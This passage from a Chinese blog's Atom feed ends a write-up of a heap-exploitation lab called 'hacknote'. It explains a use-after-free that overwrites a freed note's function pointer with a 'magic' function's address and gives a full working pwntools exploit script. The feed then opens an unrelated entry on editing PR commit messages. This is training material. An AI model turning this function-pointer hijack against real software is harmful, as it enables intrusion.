content。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;print_note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中会调用打印&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的函数。&lt;&#x2F;p&gt;
&lt;p&gt;所以应该输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note
content&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;magic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;覆盖掉原来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printnote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;指针指向的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;print_note_content，利用没有置空的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printnote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;print_note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;magic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数。&lt;&#x2F;p&gt;
&lt;p&gt;结构体&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;malloc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时会分配为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fastbin，16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字节大小的空间。如果要让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;magic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的地址在写内容时覆盖到之前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;free&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;过的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里，就要申请和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一样大小的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note-&amp;gt;content&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;空间（sizeof +
gcc
-m32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可算，8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字节&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，同时保证没有覆盖到之前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的内容空间里（就是说前面的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note-&amp;gt;content&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不能是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字节&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fastbin&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大小的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。此外，要申请&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note-&amp;gt;content&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;首先要申请&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note，所以之前得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;free&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;掉两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;content&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;段不为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字节的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note，访问时用第一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note-&amp;gt;printnote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;调用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;magic（fastbin
的链表是后来的插入到头里&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;脚本（需要先写好&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;home&#x2F;hacknote&#x2F;flag&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;terminal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;tmux&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;splitw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; ]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; process&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;hacknote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;magic_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;08048986&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# gdb.attach(io)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# add_note * 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;xxx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# del_note * 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# gdb.attach(io)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# add_note magic_addr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;magic_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# print_note&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;docker&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里要调试，得在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;run&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;--cap-add=SYS_PTRACE&lt;&#x2F;code&gt;，进入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;tmux，再在脚本里加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;context.terminal = [&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27; ]&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才行，不过都装好后在哪里的机器都能用是很方便的。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;lab10
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;lab10&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>提交PR后修改commit message</title>
    <published>2019-02-22T11:32:38+08:00</published>
    <updated>2019-02-22T11:32:38+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/update_commit_message_in_pr/" type="text/html" />
    <id>https://emptystack.top/update_commit_message_in_pr/</id>
    <content type="html">
      &lt;p&gt;有时自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;commit
